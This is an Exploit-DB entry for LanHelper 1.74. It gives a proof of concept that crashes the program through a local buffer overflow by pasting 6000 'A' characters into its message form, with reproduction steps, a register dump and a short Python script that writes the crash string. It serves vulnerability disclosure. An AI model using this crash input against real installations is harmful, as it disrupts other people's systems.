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# LanHelper 1.74 - Denial of Service (PoC)

**EDB-ID:**

46295

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[RAFAEL PEDRERO](#)

**Type:**

[DOS](#)

**Exploit:**   / 



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```
# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-31
# Vendor Homepage: http://www.hainsoft.com/
# Software Link : http://www.hainsoft.com/
# Tested Version: 1.74
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run LanHelper.exe
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result
from this python script)
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" -
"Add target" and paste the result from this python script
# 4.- Paste the result from this python script in "Message text:", same
form.
# 5.- Click in Send button and you will see a crash.

...
EAX 00410041 LanHelpe.00410041
ECX 00410041 LanHelpe.00410041
EDX 00410041 LanHelpe.00410041
```


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```
ST4 empty
ST5 empty
ST6 empty
ST7 empty

          3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask  1 1 0 0 1 0

...

#!/usr/bin/env python

crash = "\x41" * 6000
f = open ("LanHelper_Crash.txt", "w")
f.write(crash)
f.close()
```

**Tags:** [Denial of Service \(DoS\)](#)
**Advisory/Source:** [Link](#)


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